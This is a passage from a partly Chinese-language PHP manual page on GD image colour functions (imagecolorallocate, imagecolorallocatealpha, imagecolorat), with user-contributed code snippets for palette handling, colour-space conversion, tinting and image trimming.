    if($ret===-1){
        $ret=imagecolorallocate($gd, $red, $green, $blue);
        if($ret===false){
            $couldFindExact=false;//out of color indexes (255 index by default..wish i knew why)
            $ret=imagecolorclosest($gd, $red, $green, $blue);
        } else {
            $couldFindExact=true;
        }
    } else {
        $couldFindExact=true;
    }
    return $ret;
}
phillip dot gooch at gmail dot com 08-Dec-2010 07:52
If you even in a situation where it's not allocating the color you want it could be because of your images color allocation table. GIF and 8-bit PNG images are very susceptible to this.

If your using an GIF and PNG try dropping a color from the table, should let you allocate another.
jahservant 13 at gmail dot com 24-Nov-2009 04:55
Note that you can only assign 255 colors to any image palette.  If you try assigning more, imagecolorallocate() will fail.

If, for example, you are randomly allocating colors, it will be wise to check if you have used up all of the colors possible.  You can use imagecolorclosest() to get the closest assigned color:
<?php
     //assign random rgb values
     $c1 = mt_rand(50,200); //r(ed)
     $c2 = mt_rand(50,200); //g(reen)
     $c3 = mt_rand(50,200); //b(lue)
     //test if we have used up palette
     if(imagecolorstotal($pic)>=255) {
          //palette used up; pick closest assigned color
          $color = imagecolorclosest($pic, $c1, $c2, $c3);
     } else {
          //palette NOT used up; assign new color
          $color = imagecolorallocate($pic, $c1, $c2, $c3);
     }
?>

Also, imagecolorallocate() will assign a new color EVERY time the function is called, even if the color already exists in the palette:
<?php
     // [...]
     imagecolorallocate($pic,125,125,125); //returns 5
     imagecolorallocate($pic,125,125,125); //returns 6
     imagecolorallocate($pic,125,125,125); //returns 7
     // [...]
     imagecolorallocate($pic,125,125,125); //returns 23
     imagecolorallocate($pic,125,125,125); //returns 25
     // [...]
     // etc...
?>

So here, imagecolorexact() is useful:
<?php
     //see if color already exists
     $color = imagecolorexact($pic, $c1, $c2, $c3);
     if($color==-1) {
          //color does not exist; allocate a new one
          $color = imagecolorallocate($pic, $c1, $c2, $c3);
     }
?>

And, for nerdy-ness sake, we can put the two ideas together:
<?php
     //assign random rgb values
     $c1 = mt_rand(50,200); //r(ed)
     $c2 = mt_rand(50,200); //g(reen)
     $c3 = mt_rand(50,200); //b(lue)
     //get color from palette
     $color = imagecolorexact($pic, $c1, $c2, $c3);
     if($color==-1) {
          //color does not exist...
          //test if we have used up palette
          if(imagecolorstotal($pic)>=255) {
               //palette used up; pick closest assigned color
               $color = imagecolorclosest($pic, $c1, $c2, $c3);
          } else {
               //palette NOT used up; assign new color
               $color = imagecolorallocate($pic, $c1, $c2, $c3);
          }
     }
?>

Or as a function:
<?php
     function createcolor($pic,$c1,$c2,$c3) {
          //get color from palette
          $color = imagecolorexact($pic, $c1, $c2, $c3);
          if($color==-1) {
               //color does not exist...
               //test if we have used up palette
               if(imagecolorstotal($pic)>=255) {
                    //palette used up; pick closest assigned color
                    $color = imagecolorclosest($pic, $c1, $c2, $c3);
               } else {
                    //palette NOT used up; assign new color
                    $color = imagecolorallocate($pic, $c1, $c2, $c3);
               }
          }
          return $color;
     }

     for($i=0; $i<1000; $i++) { //1000 because it is significantly greater than 255
          //assign random rgb values
          $c1 = mt_rand(50,200); //r(ed)
          $c2 = mt_rand(50,200); //g(reen)
          $c3 = mt_rand(50,200); //b(lue)
          //generate the color
          $color = createcolor($pic,$c1,$c2,$c3);
          //do something with color...
     }
?>
Ludo 24-Oct-2007 02:35
When working on an existant GIF images, if the number of different colours has reached the limits of the GIF format, imagecolorallocate will not use to the colour you ask her within the parameters, she will apply black !

That's a problem when generating images "on-the-fly" with many manipulations, from a GIF image.
To go round the problem, you have to convert the GIF image into a PNG one, and then you can work on the PNG and everything will be ok.

For example :
<?php
// first, convert into a PNG image
$handle = imagecreatefromgif('my_image.gif');
imagepng($handle, 'my_image.png');
imagedestroy($handle);

// then, you can work on it
$handle = imagecreatefrompng('my_image.png');
/*
* work on the image
*/
imagegif($handle);
?>
William Barath 28-Sep-2007 04:15
Lots of hsv2rgb commentary but no working example, so here's mine:

<?php // hsv2rgb example translated from ImageMagick C code
function hsv2rgb($h, $s, $v)
{
    $s /= 256.0;
    if ($s == 0.0) return array($v,$v,$v);
    $h /= (256.0 / 6.0);
    $i = floor($h);
    $f = $h - $i;
    $p = (integer)($v * (1.0 - $s));
    $q = (integer)($v * (1.0 - $s * $f));
    $t = (integer)($v * (1.0 - $s * (1.0 - $f)));
    switch($i) {
    case 0: return array($v,$t,$p);
    case 1: return array($q,$v,$p);
    case 2: return array($p,$v,$t);
    case 3: return array($p,$q,$v);
    case 4: return array($t,$p,$v);
    default: return array($v,$p,$q);
    }
}

$image = ImageCreateTrueColor(256,128);
for ($y=0; $y<64; $y++) for($x=0; $x<256; $x++){
    list($r,$g,$b) = hsv2rgb($x | 7,255,($y*4) |7);
    $color = ($r << 16 ) | ($g << 8) | $b;
    imagesetpixel($image, $x, $y-4, $color);
}
for ($y=64; $y<128; $y++) for($x=0; $x<256; $x++){
    list($r,$g,$b) = hsv2rgb($x|7,((127-$y)*4)|7,255);
    $color = ($r << 16) | ($g << 8) | $b;
    imagesetpixel($image, $x, $y-4, $color);
}
for ($y=120; $y<128; $y++) for($x=0; $x<256; $x++){
    $color = (($x |7) << 16) | (($x |7) << 8) | ($x |7);
    imagesetpixel($image, $x, $y, $color);
}
header("Content-Type: image/png");
imagepng($image);
?>
picklecj at rose-hulman dot edu 13-Jun-2007 08:15
Another solution to color limitation issues when creating gradients. This file takes width (px) and left and right colors (hex) and makes a gradient while only allocating 250 colors.

<?php
$leftR = hexdec(substr($_GET["left"],0,2));
$leftG = hexdec(substr($_GET["left"],2,2));
$leftB = hexdec(substr($_GET["left"],4,2));
$rightR = hexdec(substr($_GET["right"],0,2));
$rightG = hexdec(substr($_GET["right"],2,2));
$rightB = hexdec(substr($_GET["right"],4,2));
$image=imagecreate($_GET["width"],1);
for($i=0;$i<250;$i++) {
    $colorset[$i] = imagecolorallocate($image, $leftR + ($i*(($rightR-$leftR)/250)), $leftG + ($i*(($rightG-$leftG)/250)), $leftB + ($i*(($rightB-$leftB)/250)));
}
for($i=0;$i<($_GET["width"]);$i++) {
  imagesetpixel ($image, $i, 0, $colorset[(int)($i/($_GET["width"]/250))] );
}
header("Content-type: image/png");
imagepng($image);
imagedestroy($image);
?>

example: gradient.php?width=640&left=000000&right=FF0000

Makes a 640px-wide image that fades from black to red.
behun at webconsult dot sk 27-Aug-2006 01:56
Also, when you need more then 256 colors, use imagecreatetruecolor function. With this function you can use unlimited number of colors.
SW 13-Jan-2006 02:00
This works! A Black-Image with vertical centered white Aliased Arial-Text and same left and right margin - used for Menu-Buttons.

<?php

  function createImgText ($string="", $fontsize=0, $marginX=0, $imgH=0 , $fontfile="", $imgColorHex="", $txtColorHex=""){
    if($string!=""){
        Header("Content-type: image/png");
        //
        $spacing = 0;
          $line = array("linespacing" => $spacing);
        $box = @imageftbbox($fontsize,0,$fontfile,$string,$line)
        or die("ERROR");
        $tw=$box[4]-$box[0]; //image width
        $marginY = $imgH - (($imgH - $fontsize) / 2);
        $imgWidth = $tw + (2*$marginX);
        $im = ImageCreate($imgWidth, $imgH);
        $int = hexdec($imgColorHex);
        $arr = array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
        $black = ImageColorAllocate($im, $arr["red"], $arr["green"], $arr["blue"]);
        $int = hexdec($txtColorHex);
        $arr = array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
        $white = ImageColorAllocate($im, $arr["red"], $arr["green"], $arr["blue"]);
        ImageFtText($im, $fontsize, 0, $marginX, $marginY, $white, $fontfile, $string, array());
        ImagePng($im);
        ImageDestroy($im);
    }else{
        echo "ERROR!";
    }
}
createImgText ("Hello World", 9, 10, 18, "arial.ttf", "000000", "FFFFFF");
?>
mlse 15-Nov-2005 01:49
Another more general variation on the theme using the same naming conventions as the hexdec and dechex built-in functions ...

Prototype:

array hexrgb ( string hex_string )

Returns:

An associative array of the RGB components specified in hex_string.

hexrgb() example:

<?php
$rgb = hexrgb("0xAABBCC");
print_r($rgb);
?>

Output is:

Array
(
  [red] => 170
  [green] => 187
  [blue] => 204
)

Implementation:

<?php
function hexrgb ($hexstr)
{
  $int = hexdec($hexstr);

  return array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
}
?>

The output of hexdec can then be passed to imagecolorallocate and manipulated as required.
Zigbigidorlu at hotmail dot com 06-Oct-2005 12:05
Here's a very simple and very effective code to change a HEX color to RGB.

<?php
function HEX2RGB($color){
 $color_array = array();
 $hex_color = strtoupper($color);
 for($i = 0; $i < 6; $i++){
  $hex = substr($hex_color,$i,1);
  switch($hex){
   case "A": $num = 10; break;
   case "B": $num = 11; break;
   case "C": $num = 12; break;
   case "D": $num = 13; break;
   case "E": $num = 14; break;
   case "F": $num = 15; break;
   default: $num = $hex; break;
  }
  array_push($color_array,$num);
 }
 $R = (($color_array[0] * 16) + $color_array[1]);
 $G = (($color_array[2] * 16) + $color_array[3]);
 $B = (($color_array[4] * 16) + $color_array[5]);
 return array($R,$G,$B);
 unset($color_array,$hex,$R,$G,$B);
}
?>
mail at kailashnadh dot name 28-Jun-2005 07:47
This nifty function will produce the negative of a given image!

<?php

/********************************

     Code by Kailash Nadh
     http://kailashnadh.name

     usage:
     img2neg("my_pic.jpg");

*********************************/

function img2neg($pic) {

    header("Content-type: image/jpeg");

    $source=imagecreatefromjpeg($pic);    // Source
    $width=imagesx($source);    $height=imagesy($source);

    $im = imagecreatetruecolor($width, $height);    // Our negative img in the making

    for($y=0; $y < $height; $y++) {
        for($x=0; $x < $width; $x++) {

        $colors=imagecolorsforindex($source, imagecolorat($source, $x,$y));

            // this is what makes the colors negative
            $r=255-$colors['red'];
            $g=255-$colors['green'];
            $b=255-$colors['blue'];
            $test=imagecolorallocate($im, $r,$g,$b);
            imagesetpixel($im,$x, $y, $test);
        }
    }

    imagejpeg($im);
    imagedestroy($im);
}

?>
andreoli dot carlo at libero dot it 08-Jun-2005 06:38
hsl to RGB
(not yet optimized but it function)

<?php
function hslToRgb ($h, $s, $l) {
    if ($h>240 || $h<0) return array(0,0,0);
    if ($s>240 || $s<0) return array(0,0,0);
    if ($l>240 || $l<0) return array(0,0,0);
    if ($h<=40) {
        $R=255;
        $G=(int)($h/40*256);
        $B=0;
    }
    elseif ($h>40 && $h<=80) {
        $R=(1-($h-40)/40)*256;
        $G=255;
        $B=0;
    }
    elseif ($h>80 && $h<=120) {
        $R=0;
        $G=255;
        $B=($h-80)/40*256;
    }
    elseif ($h>120 && $h<=160) {
        $R=0;
        $G=(1-($h-120)/40)*256;
        $B=255;
    }
    elseif ($h>160 && $h<=200) {
        $R=($h-160)/40*256;
        $G=0;
        $B=255;
    }
    elseif ($h>200) {
        $R=255;
        $G=0;
        $B=(1-($h-200)/40)*256;
    }
    $R=$R+(240-$s)/240*(128-$R);
    $G=$G+(240-$s)/240*(128-$G);
    $B=$B+(240-$s)/240*(128-$B);
    if ($l<120) {
        $R=($R/120)*$l;
        $G=($G/120)*$l;
        $B=($B/120)*$l;
    }
    else {
        $R=$l*((256-$R)/120)+2*$R-256;
        $G=$l*((256-$G)/120)+2*$G-256;
        $B=$l*((256-$B)/120)+2*$B-256;
    }
    if ($R<0) $R=0;
    if ($R>255) $R=255;
    if ($G<0) $G=0;
    if ($G>255) $G=255;
    if ($B<0) $B=0;
    if ($B>255) $B=255;

    return array((int)$R,(int)$G,(int)$B);
}
?>
mv at brazil dot com 15-Mar-2005 11:34
<?php

/**
 * Create a image bar using lib GD
 * Ege. <img src="color_sample.php?color=FF0000" width="10 height="30">
 */

// Split the HTML color representation
$hexcolor = str_split($_GET["color"], 2);

// Convert HEX values to DECIMAL
$bincolor[0] = hexdec("0x{$hexcolor[0]}");
$bincolor[1] = hexdec("0x{$hexcolor[1]}");
$bincolor[2] = hexdec("0x{$hexcolor[2]}");

$im = ImageCreate(100, 100);
$colorallocate = ImageColorAllocate($im, $bincolor[0], $bincolor[1], $bincolor[2]);
ImageFilledRectangle($im, 0, 0, 100, 100, $colorallocate);
header('Content-Type: image/png');
ImagePNG($im);

?>
18-Jan-2005 02:23
When you are using truecolor images, you can also use bitwise operations to generate the color:
<?php
$color = ($r << 16) | ($g << 8) | $b; // 2261213
?>
This is identical to the imagecolorallocate() function, in truecolor images!
aaron at parecki dot com 22-Dec-2004 02:10
This will let you tint an image to any specific color. The blacks of the source image become your specified color, and the whites remain white. Works best for colorizing greyscale images.

<?php

$r = 224;
$g = 192;
$b = 0;
$source_file = "picture.jpg";

$im_src = ImageCreateFromJpeg($source_file);
$im_tint = ImageCreate(imagesx($im_src),imagesy($im_src));
for ($c = 0; $c < 255; $c++) {
     ImageColorAllocate($im_tint, max($r,$c), max($g,$c), max($b,$c));
}
ImageCopyMerge($im_tint,$im_src,0,0,0,0, imagesx($im_src), imagesy($im_src), 100);
ImageDestroy($im_src);

header("Content-type: image/jpeg");
imagejpeg($im_tint);

?>
tyberis 28-Nov-2004 04:58
2 functions to convert from HSV colorspace (hue/saturation/brightness) to RGB (red/green/blue) colorspace and back.
<?php
// $c = array($red, $green, $blue)
// $red=[0..1], $green=[0..1], $blue=[0..1];
function rgb2hsv($c) {
 list($r,$g,$b)=$c;
 $v=max($r,$g,$b);
 $t=min($r,$g,$b);
 $s=($v==0)?0:($v-$t)/$v;
 if ($s==0)
  $h=-1;
 else {
  $a=$v-$t;
  $cr=($v-$r)/$a;
  $cg=($v-$g)/$a;
  $cb=($v-$b)/$a;
  $h=($r==$v)?$cb-$cg:(($g==$v)?2+$cr-$cb:(($b==$v)?$h=4+$cg-$cr:0));
  $h=60*$h;
  $h=($h<0)?$h+360:$h;
 }
 return array($h,$s,$v);
}

// $c = array($hue, $saturation, $brightness)
// $hue=[0..360], $saturation=[0..1], $brightness=[0..1]
function hsv2rgb($c) {
 list($h,$s,$v)=$c;
 if ($s==0)
  return array($v,$v,$v);
 else {
  $h=($h%=360)/60;
  $i=floor($h);
  $f=$h-$i;
  $q[0]=$q[1]=$v*(1-$s);
  $q[2]=$v*(1-$s*(1-$f));
  $q[3]=$q[4]=$v;
  $q[5]=$v*(1-$s*$f);
  //return(array($q[($i+4)%5],$q[($i+2)%5],$q[$i%5]));
  return(array($q[($i+4)%6],$q[($i+2)%6],$q[$i%6])); //[1]
 }
}
?>

[1] - EDITOR NOTE: THIS IS A FIX FROM "hc at hob(removethis)soft dot net".
smoli at paranoya dot ch 19-Jul-2004 11:10
Some of you maybe want to use HSV color model for drawing color selectors and circles:

<?php
  function &colormap_hsv_to_rgb($h, $s, $v)
  {
    $ret = new stdClass();

    if($s == 0)
    {
      $ret->r = $v;
      $ret->g = $v;
      $ret->b = $v;

      return $ret;
    }
    else
    {
      $h = floatval($h) / 255.0;
      $s = floatval($s) / 255.0;
      $v = floatval($v) / 255.0;

      $hue = $h;

      if($hue == 1.0)
        $hue = 0.0;

      $hue *= 6.0;

      $i = intval($hue);
      $f = $hue - floatval($i);
      $w = $v * (1.0 - $s);
      $q = $v * (1.0 - ($s * $f));
      $t = $v * (1.0 - ($s * (1.0 - $f)));

      switch($i)
      {
         case 0: $ret->r = $v; $ret->g = $t; $ret->b = $w; break;
         case 1: $ret->r = $q; $ret->g = $v; $ret->b = $w; break;
         case 2: $ret->r = $w; $ret->g = $v; $ret->b = $t; break;
         case 3: $ret->r = $w; $ret->g = $q; $ret->b = $v; break;
         case 4: $ret->r = $t; $ret->g = $w; $ret->b = $v; break;
         case 5: $ret->r = $v; $ret->g = $w; $ret->b = $q; break;
      }
    }

    $ret->r = intval($ret->r * 255.0);
    $ret->g = intval($ret->g * 255.0);
    $ret->b = intval($ret->b * 255.0);

    return $ret;
  }
?>
jernberg at fairytale dot se 05-Mar-2004 10:43
this might help someone, how to allocate an color from an html color-definition:

<?php
$fg = "#ff0080";

$red = 100;
$green = 100;
$blue = 100;
if( eregi( "[#]?([0-9a-f]{2})([0-9a-f]{2})([0-9a-f]{2})", $fg, $ret ) )
{
    $red = hexdec( $ret[1] );
    $green = hexdec( $ret[2] );
    $blue = hexdec( $ret[3] );
}

$text_color = ImageColorAllocate( $img1, $red, $green, $blue );
?>
chris at drunkenpirates dot co dot uk 13-Sep-2003 05:44
<?php

/*
An example combining the use of ImageColorAllocate, Imagesetpixel, Imagecopyresized and some basic Trig
*/

Header("Content-type: image/png");

$height = 128;
$width = 128;

$imA = ImageCreate($width, $height);
$imB = ImageCreate($width*4, $height*4);
$bckA = ImageColorAllocate($imA, 0,0,0);
$bckB = ImageColorAllocate($imB, 0,0,0);

//GENERATE GRAY SCALE PALLETE

for($c=0;$c<256;$c++){
                ImageColorAllocate($imA, $c, $c, $c);
                }

//PRODUCE DATA

$m=rand(0,10);
for($c=0;$c<128;$c++){
                $s=  (sin( deg2rad($c*360*$m/128) )+1)*127;
                $col_arr[$c]=$s;
                }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgA[$x][$y]=$col_arr[$x];
                }
        }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgB[$x][$y]=$col_arr[$y];
                }
        }

//SET PIXELS

for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgC[$x][$y]=$imgA[$x][$y]+$imgB[$x][$y];
                $s=$imgC[$x][$y]/2;
                Imagesetpixel($imA,$x,$y,$s);
                }
        }

//RESIZE IMAGE FOR DISPLAY

Imagecopyresized ($imB, $imA, 0, 0, 0, 0, $width*4, $height*4, $width, $width);
ImagePNG($imB);
?>
leif at harmsen dot net 15-Apr-2003 07:31
I was unable to get any of the posted methods for converting colour to grayscale to work.  The problem appears to be the way gd creates images from jpeg inconsistently over various versions.  Eventually I wrote my own that works for me - this approach allocates the 256 color pallete first.  You can also play with separate $r, $g, $b variables before using imagecolorallocate in order to tone or tint the image.

<?php
$resource = 'whatever.jpg';
$im_size = GetImageSize($resource);
$imageWidth = $im_size[0];
$imageHeight = $im_size[1];
$im = imageCreate($imageWidth,$imageHeight);
for ($c = 0; $c < 256; $c++) {
     ImageColorAllocate($im, $c,$c,$c);
}
$im2 = ImageCreateFromJpeg($resource);
ImageCopyMerge($im,$im2,0,0,0,0, $imageWidth, $imageHeight, 100);
ImageDestroy($im2);
?>

go on using $im as your image, it is now grayscale ....
bisqwit at iki dot fi 16-Feb-2002 08:30
Actually, you can't allocate more than 256 colours for an paletted image (ImageCreate).
Use ImageCreateTrueColor instead. For it to work, you need libgd version 2 support in php though.


为图像分配颜色

  • ? imagecolorallocate
  • imagecolorat ?
  • PHP Manual
  • GD 和图像处理 函数
  • 为图像分配颜色

imagecolorallocatealpha

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

imagecolorallocatealpha — 为图像分配颜色

说明

imagecolorallocatealpha(
GdImage $image,
int $red,
int $green,
int $blue,
int $alpha
): int|false

imagecolorallocatealpha() 的行为和 imagecolorallocate() 相同，但多了一个额外的透明度参数 alpha。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

red

红色成分的值。

green

绿色成分的值。

blue

蓝色成分的值。

alpha

介于 0 和 127 之间的值。0 表示完全不透明，而 127 表示完全透明。

red、green 和 blue 参数是 0 到 255 之间的整数或 0x00 到 0xFF 之间的十六进制数。

返回值

颜色标识符，如果分配失败，则为 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 使用 imagecolorallocatealpha() 的示例

<?php
$size = 300;
$image=imagecreatetruecolor($size, $size);

// 白色背景加黑色边框
$back = imagecolorallocate($image, 255, 255, 255);
$border = imagecolorallocate($image, 0, 0, 0);
imagefilledrectangle($image, 0, 0, $size - 1, $size - 1, $back);
imagerectangle($image, 0, 0, $size - 1, $size - 1, $border);

$yellow_x = 100;
$yellow_y = 75;
$red_x = 120;
$red_y = 165;
$blue_x = 187;
$blue_y = 125;
$radius = 150;

// 用 alpha 值分配一些颜色
$yellow = imagecolorallocatealpha($image, 255, 255, 0, 75);
$red = imagecolorallocatealpha($image, 255, 0, 0, 75);
$blue = imagecolorallocatealpha($image, 0, 0, 255, 75);

// 绘制 3 个重叠的圆
imagefilledellipse($image, $yellow_x, $yellow_y, $radius, $radius, $yellow);
imagefilledellipse($image, $red_x, $red_y, $radius, $radius, $red);
imagefilledellipse($image, $blue_x, $blue_y, $radius, $radius, $blue);

// 不要忘记输出正确的 header！
header('Content-Type: image/png');

// 最后，输出结果
imagepng($image);
imagedestroy($image);
?>

以上示例的输出类似于：

示例输出：使用 imagecolorallocatealpha() 的示例

Example #2 Convert typical alpha values for use with imagecolorallocatealpha()

Usually alpha values of 0 designate fully transparent pixels, and the alpha channel has 8 bits. To convert such alpha values to be compatible with imagecolorallocatealpha(), some simple arithmetic is sufficient:

<?php
$alpha8 = 0; // fully transparent
var_dump(127 - ($alpha8 >> 1));
$alpha8 = 255; // fully opaque
var_dump(127 - ($alpha8 >> 1));
?>

以上示例会输出：

int(127)
int(0)

参见

  • imagecolorallocate() - 为图像分配颜色
  • imagecolordeallocate() - 取消图像颜色的分配

User Contributed Notes

Brett G 22-Sep-2015 10:30
When working with transparency, avoid imagecreate() and use imagecreatetruecolor() instead. Transparency effects may not work as expected within a palette-based image.
fjoggen at gmail dot com 29-Nov-2007 07:19
If you need to calculate the integer representation of a color with an alpha channel, without initialising an image and using the imagecolorallocatealpha function. Then this function might be of some help:

<?php
function alphaColor($hexColor,$alpha)
{
        return bindec(decbin($alpha).decbin(hexdec($hexColor));
}

echo alphaColor("FFFFFF",127);
?>
eric (at) junioronline.us 25-Jan-2006 01:41
If you only wish to extract the alpha value for a color, you can simply extract it like so:

<?php

    $color = imagecolorat($im, 50, 50);
    $alpha = $color >> 24;

?>

It actually shifts off the first 24 bits (where 8x3 are used for each color), and returns the remaining 7 allocated bits (commonly used for alpha)


取得某像素的颜色索引值

  • ? imagecolorallocatealpha
  • imagecolorclosest ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得某像素的颜色索引值

imagecolorat

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorat — 取得某像素的颜色索引值

说明

imagecolorat(GdImage $image, int $x, int $y): int|false

返回 image 所指定的图像中指定位置像素的颜色索引值。

如果图像是真彩色图像，此函数以整数返回该点的 RGB 值。用位移加掩码来取得红，绿，蓝各自的值：

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

x

点的 x 坐标。

y

点的 y 坐标。

返回值

返回颜色的索引 或者在失败时返回 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 访问不同的 RGB 值

<?php
$im = imagecreatefrompng("php.png");
$rgb = imagecolorat($im, 10, 15);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;

var_dump($r, $g, $b);
?>

以上示例的输出类似于：

int(119)
int(123)
int(180)

Example #2 使用 imagecolorsforindex() 获取可读的 RGB 值

<?php
$im = imagecreatefrompng("php.png");
$rgb = imagecolorat($im, 10, 15);

$colors = imagecolorsforindex($im, $rgb);

var_dump($colors);
?>

以上示例的输出类似于：

array(4) {
  ["red"]=>
  int(119)
  ["green"]=>
  int(123)
  ["blue"]=>
  int(180)
  ["alpha"]=>
  int(127)
}

参见

  • imagecolorset() - 给指定调色板索引设定颜色
  • imagecolorsforindex() - 获取索引的颜色
  • imagesetpixel() - 设置单个像素

User Contributed Notes

Ray.Paseur sometimes uses Gmail 04-Feb-2017 02:35
imageColorAt() issues a Notice and returns FALSE for pixel coordinates that are out of bounds.
Levi Cole 31-Jul-2015 06:54
So I have written the most pointless use I could think of for this function (imagecolorat).

Basically it converts every pixel in the given image for an <i> tag. You can set the rendered pixel size with $p

<?php
    $p = 4; // Set pixel width/height
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Image to DOM</title>
    <style>
        .canvas {position: relative;}
        .pixel {width: <?= 1*$p; ?>px; height: <?= 1*$p; ?>px; position: absolute; display: block;}
    </style>
</head>
<body>

    <form action="/" method="post" enctype="multipart/form-data">
        <input type="file" name="image">
        <input type="submit">
    </form>

    <?php
        if ($_FILES) {
            $post_img = $_FILES['image'];
            $filename = $post_img['name'];
            $tmp_img = $post_img['tmp_name'];

            if(preg_match('/[.](jpg)$/', $filename)) {
                $img = imagecreatefromjpeg($tmp_img);
            } else if (preg_match('/[.](gif)$/', $filename)) {
                $img = imagecreatefromgif($tmp_img);
            } else if (preg_match('/[.](png)$/', $filename)) {
                $img = imagecreatefrompng($tmp_img);
            }

            list($width, $height) = getimagesize($tmp_img);

            echo '<div class="canvas" style="width: '.$width*$p.'px; height: '.$height*$p.'px;">';
            for ($i = 0; $i < $height; $i++) {
                $y = $i; // Get Y coords
                for ($j = 0; $j < $width; $j++) {
                    $x = $j; // Get X coords

                    $rgb = imagecolorat($img, $x, $y); // Get pixel color
                    $rgba = imagecolorsforindex($img, $rgb);
                    unset($rgba['alpha']); // Remove Alpha channel

                    $bg_color = implode(', ', $rgba);
                    ?>
                        <i class="pixel" style="background: rgb(<?= $bg_color; ?>); top: <?= $i*$p; ?>px; left: <?= $j*$p; ?>px;"></i>
                    <?php
                }
            }
            echo '</div>';
        }
    ?>

</body>
</html>
dewi at dewimorgan dot com 24-Aug-2014 10:00
To test whether to handle the return value of this function as RGB or a palette index, see either imageistruecolor(), or (for GD < 2.0.1, or PHP 4 < 4.3.2) imagecolorstotal() == 0.

It seems that a number of comments here take many lines to convert RGB or RGBA values to hex strings #AARRGGBB. This is a one-liner in most cases:

$hex = sprintf("#%08X", imagecolorat($im32, $x, $y));
$hex = sprintf("#%08X", $rgb);
$hex = sprintf("#%08X", $argb);
$hex = sprintf("#%02X%06X", $rgba >> 24, $rgba & 0xFF000000);
$hex = sprintf("#00%02X%02X%02X", $r, $g, $b);
$hex = sprintf("#%02X%02X%02X%02X", $a, $r, $g, $b);

For paletted images, it's two lines:
$cols = imagecolorsforindex($imPal, imagecolorat($imPal, $x, $y));
$hex = sprintf("#%08X", $cols['alpha'], $cols['red'], $cols['green'], $cols['blue']);
justin at hoogs dot com dot au 21-Oct-2013 02:05
This improves upon to my previous function (which only really worked on a few greyscale colours). Colour should now be a hexadecimal colour value. Colour and tolerance are now optional parameters.

trimImage ( resource $image [, str $colour [, int $tolerance]] )

trimImage() will return top-most, right-most, bottom-most and left-most positions of wanted pixels for an image (i.e. find minimum image area so you can then trim given colour from the outer edges of an image).

Parameters

image
An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

colour
Hexadecimal value of colour to be 'trimmed'.  If omitted the top/left corner colour will be used as default.

tolerance
Acceptable range +- from colour.  Allowable range 0 to 255. If omitted 10 will be used as default.

Return Values
Returns an array of outermost pixels which are beyond the tolerance range from colour.
array( int $top, int $right, int $bottom, int $left )

function trimImage($im,$c=null,$t=10) {
  // if hex colour ($c) exists attempt to convert to decimal
  if ($c) $rgb = @hexdec($c);
  // if hexdec failed to get a value between black (0) and white (16777215)
  // grab the colour from the top left corner (2 pixels in to avoid messy edges)
  if (!is_numeric($rgb) || $rgb < 0 || $rgb > 16777215) $rgb = imagecolorat($im, 2, 2);
  // split $rgb into red, green and blue
  $r = ($rgb >> 16) & 0xFF;
  $g = ($rgb >> 8) & 0xFF;
  $b = $rgb & 0xFF;
  // make sure tolerance ($t) is a number between 0 - 255
  if (!is_numeric($t) || $t < 0) $t = 0;
  elseif ($t > 255) $t = 255;

  $w = imagesx($im); $h = imagesy($im); // image width and height
  for($x = 0; $x < $w; $x++) {
    for($y = 0; $y < $h; $y++) {
      $rgb = imagecolorat($im, $x, $y);
      $red = ($rgb >> 16) & 0xFF;
      $grn = ($rgb >> 8) & 0xFF;
      $blu = $rgb & 0xFF;
      if (
        $red < $r-$t || $red > $r+$t || // not trim red (nor within tolerance)
        $grn < $g-$t || $grn > $g+$t || // not trim green (nor within tolerance)
        $blu < $b-$t || $blu > $b+$t // not trim blue (nor within tolerance)
      ) {
        $y_axis[$y] = $y; $x_axis[$x] = $x; // wanted pixel coordinates stored
      }
    }
  }
  if (!$y_axis) $y_axis = $x_axis = array(0); // avoid errors if all pixels are trimmed
  // sort so first and last occurances are at start and end
  sort($y_axis); sort($x_axis);

  $t = array_shift($y_axis); // first wanted pixel on Y axis (top)
  $r = array_pop($x_axis); // last wanted pixel on X axis (right)
  $b = array_pop($y_axis); // last wanted pixel on Y axis (bottom)
  $l = array_shift($x_axis); // first wanted pixel on X axis (left)

  return array($t,$r,$b,$l);
}
justin at hoogs dot com dot au 19-Mar-2012 03:48
trimImage ( resource $image , int $colour , int $tolerance )

trimImage() will return top-most, right-most, bottom-most and left-most positions of wanted pixels for an image (i.e. find minimum image area so you can then trim given colour from the outer edges of an image).

Parameters

image
An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

colour
colour to be 'trimmed'.  Allowable range 0 (black) to 255 (white).  if null (or outside 0 - 255) will use top/left corner colour as default.

tolerance
Acceptable range +- from colour.  0 (trim only exact colour) to 255 (trim all colours).

Return Values
Returns an array of outermost pixels which are outside the tolerance range from colour.
array( int $top, int $right, int $bottom, int $left )

Example (and actual function)
<?php
function trimImage($im,$c,$t) {
  // if trim colour ($c) isn't a number between 0 - 255
  if (!is_numeric($c) || $c < 0 || $c > 255) {
    // grab the colour from the top left corner and use that as default
    $rgb = imagecolorat($im, 2, 2); // 2 pixels in to avoid messy edges
